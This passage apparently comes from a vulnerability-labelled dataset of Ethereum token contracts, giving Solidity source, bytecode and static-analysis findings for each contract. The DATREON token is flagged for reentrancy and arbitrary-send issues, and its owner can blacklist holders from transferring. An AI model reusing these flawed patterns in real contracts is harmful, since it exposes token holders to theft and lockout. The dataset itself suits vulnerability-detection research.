account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract FormToken is Context, IERC20 { using SafeMath for uint; string _symbol; string _name; uint8 _decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor( string memory symbol_, string memory name_, uint8 decimals_, address tokenOwner, uint256 initialSupply ) public { _symbol = symbol_; _name = name_; _decimals = decimals_; balances[tokenOwner] = initialSupply; _totalSupply = initialSupply; emit Transfer(address(0), tokenOwner, _totalSupply); } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function decimals() external view returns (uint8) { return _decimals; } function totalSupply() override external view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override external view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) override external returns (bool success) { balances[_msgSender()] = balances[_msgSender()].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(_msgSender(), to, tokens); return true; } function approve(address spender, uint tokens) override external returns (bool success) { allowed[_msgSender()][spender] = tokens; emit Approval(_msgSender(), spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) override external returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][_msgSender()] = allowed[from][_msgSender()].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) override external view returns (uint remaining) { return allowed[tokenOwner][spender]; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146101a557806370a08231146101c357806395d89b41146101e9578063a9059cbb146101f1578063dd62ed3e1461021d57610093565b806306fdde0314610098578063095ea7b31461011557806318160ddd1461015557806323b872dd1461016f575b600080fd5b6100a061024b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100da5781810151838201526020016100c2565b50505050905090810190601f1680156101075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101416004803603604081101561012b57600080fd5b506001600160a01b0381351690602001356102e0565b604080519115158252519081900360200190f35b61015d610370565b60408051918252519081900360200190f35b6101416004803603606081101561018557600080fd5b506001600160a01b038135811691602081013590911690604001356103ad565b6101ad6104e1565b6040805160ff9092168252519081900360200190f35b61015d600480360360208110156101d957600080fd5b50356001600160a01b03166104ea565b6100a0610505565b6101416004803603604081101561020757600080fd5b506001600160a01b038135169060200135610566565b61015d6004803603604081101561023357600080fd5b506001600160a01b038135811691602001351661062b565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156102d65780601f106102ab576101008083540402835291602001916102d6565b820191906000526020600020905b8154815290600101906020018083116102b957829003601f168201915b5050505050905090565b600081600560006102ef610656565b6001600160a01b0390811682526020808301939093526040918201600090812091881680825291909352912091909155610327610656565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a350600192915050565b600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec546003546103a89161065a565b905090565b6001600160a01b0383166000908152600460205260408120546103d0908361065a565b6001600160a01b0385166000908152600460209081526040808320939093556005905290812061042591849190610405610656565b6001600160a01b031681526020810191909152604001600020549061065a565b6001600160a01b038516600090815260056020526040812090610446610656565b6001600160a01b039081168252602080830193909352604091820160009081209490945586168352600490915290205461048090836106b7565b6001600160a01b0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60025460ff1690565b6001600160a01b031660009081526004602052604090205490565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156102d65780601f106102ab576101008083540402835291602001916102d6565b60006105788260046000610405610656565b60046000610584610656565b6001600160a01b03908116825260208083019390935260409182016000908120949094558616835260049091529020546105be90836106b7565b6001600160a01b0384166000818152600460205260409020919091556105e2610656565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350600192915050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3390565b6000828211156106b1576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610711576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212202f9b0d552b24c40e11d1b42c604e98cd6136e08c53db76e3426783c85fc6a2cd64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,287
0x7d397f635531b729055a0dd96e238e809c52b2a5
/** *Submitted for verification at Etherscan.io on 2022-04-12 */ /* https://t.me/datreon https://datreon.media/ https://twitter.com/DatreonETH */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DATREON is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e9 * 10**9; string public constant name = unicode"DATREON"; string public constant symbol = unicode"DAT"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 11; uint public _sellFee = 11; uint private _feeRate = 15; uint public _maxBuyTokens; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen); if((_launchedAt + (3 minutes)) > block.timestamp) { require(amount <= _maxBuyTokens); require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyTokens = 5000000 * 10**9; _maxHeldTokens = 20000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external onlyOwner(){ _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101e75760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf91461058f578063db92dbb6146105a4578063dcb0e0ad146105b9578063dd62ed3e146105d957600080fd5b8063a9059cbb1461051a578063b2289c621461053a578063b515566a1461055a578063c3c8cd801461057a57600080fd5b80638da5cb5b116100d15780638da5cb5b1461049857806394b8d8f2146104b657806395d89b41146104d65780639e78fb4f1461050557600080fd5b80636fc3eaec1461042e57806370a0823114610443578063715018a61461046357806373f54a111461047857600080fd5b806331c2d8471161017a57806345596e2e1161014957806345596e2e146103aa57806349bd5a5e146103ca578063590f897e146104025780636755a4d01461041857600080fd5b806331c2d8471461032557806332d873d8146103455780633bbac5791461035b57806340b9a54b1461039457600080fd5b80631940d020116101b65780631940d020146102b357806323b872dd146102c957806327f3a72a146102e9578063313ce567146102fe57600080fd5b806306fdde03146101f3578063095ea7b31461023c5780630b78f9c01461026c57806318160ddd1461028e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610226604051806040016040528060078152602001662220aa2922a7a760c91b81525081565b6040516102339190611704565b60405180910390f35b34801561024857600080fd5b5061025c61025736600461177e565b61061f565b6040519015158152602001610233565b34801561027857600080fd5b5061028c6102873660046117aa565b610635565b005b34801561029a57600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102bf57600080fd5b506102a5600d5481565b3480156102d557600080fd5b5061025c6102e43660046117cc565b6106ca565b3480156102f557600080fd5b506102a561071e565b34801561030a57600080fd5b50610313600981565b60405160ff9091168152602001610233565b34801561033157600080fd5b5061028c610340366004611823565b61072e565b34801561035157600080fd5b506102a5600e5481565b34801561036757600080fd5b5061025c6103763660046118e8565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a057600080fd5b506102a560095481565b3480156103b657600080fd5b5061028c6103c5366004611905565b6107c4565b3480156103d657600080fd5b506008546103ea906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b34801561040e57600080fd5b506102a5600a5481565b34801561042457600080fd5b506102a5600c5481565b34801561043a57600080fd5b5061028c61088a565b34801561044f57600080fd5b506102a561045e3660046118e8565b610897565b34801561046f57600080fd5b5061028c6108b2565b34801561048457600080fd5b5061028c6104933660046118e8565b610926565b3480156104a457600080fd5b506000546001600160a01b03166103ea565b3480156104c257600080fd5b50600f5461025c9062010000900460ff1681565b3480156104e257600080fd5b506102266040518060400160405280600381526020016211105560ea1b81525081565b34801561051157600080fd5b5061028c61099e565b34801561052657600080fd5b5061025c61053536600461177e565b610ba9565b34801561054657600080fd5b506007546103ea906001600160a01b031681565b34801561056657600080fd5b5061028c610575366004611823565b610bb6565b34801561058657600080fd5b5061028c610ccf565b34801561059b57600080fd5b5061028c610ce5565b3480156105b057600080fd5b506102a5610ea4565b3480156105c557600080fd5b5061028c6105d436600461192c565b610ebc565b3480156105e557600080fd5b506102a56105f4366004611949565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061062c338484610f39565b50600192915050565b6000546001600160a01b031633146106685760405162461bcd60e51b815260040161065f90611982565b60405180910390fd5b6009548210801561067a5750600a5481105b61068357600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106d784848461105d565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107069084906119cd565b9050610713853383610f39565b506001949350505050565b600061072930610897565b905090565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040161065f90611982565b60005b81518110156107c05760006005600084848151811061077c5761077c6119e4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107b8816119fa565b91505061075b565b5050565b6000546001600160a01b031633146107ee5760405162461bcd60e51b815260040161065f90611982565b6007546001600160a01b0316336001600160a01b03161461080e57600080fd5b6000811161084e5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b604482015260640161065f565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b47610894816113d1565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161065f90611982565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109505760405162461bcd60e51b815260040161065f90611982565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161087f565b6000546001600160a01b031633146109c85760405162461bcd60e51b815260040161065f90611982565b600f5460ff1615610a1b5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161065f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa49190611a15565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b159190611a15565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b869190611a15565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061062c33848461105d565b6000546001600160a01b03163314610be05760405162461bcd60e51b815260040161065f90611982565b60005b81518110156107c05760085482516001600160a01b0390911690839083908110610c0f57610c0f6119e4565b60200260200101516001600160a01b031614158015610c60575060065482516001600160a01b0390911690839083908110610c4c57610c4c6119e4565b60200260200101516001600160a01b031614155b15610cbd57600160056000848481518110610c7d57610c7d6119e4565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610cc7816119fa565b915050610be3565b6000610cda30610897565b90506108948161140b565b6000546001600160a01b03163314610d0f5760405162461bcd60e51b815260040161065f90611982565b600f5460ff1615610d1f57600080fd5b600654610d3f9030906001600160a01b0316670de0b6b3a7640000610f39565b6006546001600160a01b031663f305d7194730610d5b81610897565b600080610d706000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dd8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dfd9190611a32565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7a9190611a60565b50600f805460ff1916600117905542600e556611c37937e08000600c5566470de4df820000600d55565b600854600090610729906001600160a01b0316610897565b6000546001600160a01b03163314610ee65760405162461bcd60e51b815260040161065f90611982565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161087f565b6001600160a01b038316610f9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065f565b6001600160a01b038216610ffc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561108357600080fd5b6001600160a01b0383166110e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065f565b6001600160a01b0382166111495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065f565b600081116111ab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161065f565b600080546001600160a01b038581169116148015906111d857506000546001600160a01b03848116911614155b15611372576008546001600160a01b03858116911614801561120857506006546001600160a01b03848116911614155b801561122d57506001600160a01b03831660009081526004602052604090205460ff16155b1561128b57600f5460ff1661124157600080fd5b42600e5460b46112519190611a7d565b111561128757600c5482111561126657600080fd5b600d5461127284610897565b61127c9084611a7d565b111561128757600080fd5b5060015b600f54610100900460ff161580156112a55750600f5460ff165b80156112bf57506008546001600160a01b03858116911614155b156113725760006112cf30610897565b9050801561135b57600f5462010000900460ff161561135257600b5460085460649190611304906001600160a01b0316610897565b61130e9190611a95565b6113189190611ab4565b81111561135257600b546008546064919061133b906001600160a01b0316610897565b6113459190611a95565b61134f9190611ab4565b90505b61135b8161140b565b47801561136b5761136b476113d1565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113b457506001600160a01b03841660009081526004602052604090205460ff165b156113bd575060005b6113ca858585848661157f565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107c0573d6000803e3d6000fd5b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061144f5761144f6119e4565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114cc9190611a15565b816001815181106114df576114df6119e4565b6001600160a01b0392831660209182029290920101526006546115059130911684610f39565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061153e908590600090869030904290600401611ad6565b600060405180830381600087803b15801561155857600080fd5b505af115801561156c573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b600061158b83836115a1565b9050611599868686846115c5565b505050505050565b60008083156115be5782156115b957506009546115be565b50600a545b9392505050565b6000806115d284846116a2565b6001600160a01b03881660009081526002602052604090205491935091506115fb9085906119cd565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461162b908390611a7d565b6001600160a01b03861660009081526002602052604090205561164d816116d6565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169291815260200190565b60405180910390a3505050505050565b6000808060646116b28587611a95565b6116bc9190611ab4565b905060006116ca82876119cd565b96919550909350505050565b306000908152600260205260409020546116f1908290611a7d565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561173157858101830151858201604001528201611715565b81811115611743576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461089457600080fd5b803561177981611759565b919050565b6000806040838503121561179157600080fd5b823561179c81611759565b946020939093013593505050565b600080604083850312156117bd57600080fd5b50508035926020909101359150565b6000806000606084860312156117e157600080fd5b83356117ec81611759565b925060208401356117fc81611759565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561183657600080fd5b823567ffffffffffffffff8082111561184e57600080fd5b818501915085601f83011261186257600080fd5b8135818111156118745761187461180d565b8060051b604051601f19603f830116810181811085821117156118995761189961180d565b6040529182528482019250838101850191888311156118b757600080fd5b938501935b828510156118dc576118cd8561176e565b845293850193928501926118bc565b98975050505050505050565b6000602082840312156118fa57600080fd5b81356115be81611759565b60006020828403121561191757600080fd5b5035919050565b801515811461089457600080fd5b60006020828403121561193e57600080fd5b81356115be8161191e565b6000806040838503121561195c57600080fd5b823561196781611759565b9150602083013561197781611759565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156119df576119df6119b7565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a0e57611a0e6119b7565b5060010190565b600060208284031215611a2757600080fd5b81516115be81611759565b600080600060608486031215611a4757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a7257600080fd5b81516115be8161191e565b60008219821115611a9057611a906119b7565b500190565b6000816000190483118215151615611aaf57611aaf6119b7565b500290565b600082611ad157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b265784516001600160a01b031683529383019391830191600101611b01565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ea734f9685d5e77cf198452d4fd25080cd288e8fb6d525a700885a3b352bb41b64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,288
0xd058eA385CecD0bC0A768a5da97e521958EA070a
pragma solidity ^0.4.23; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = 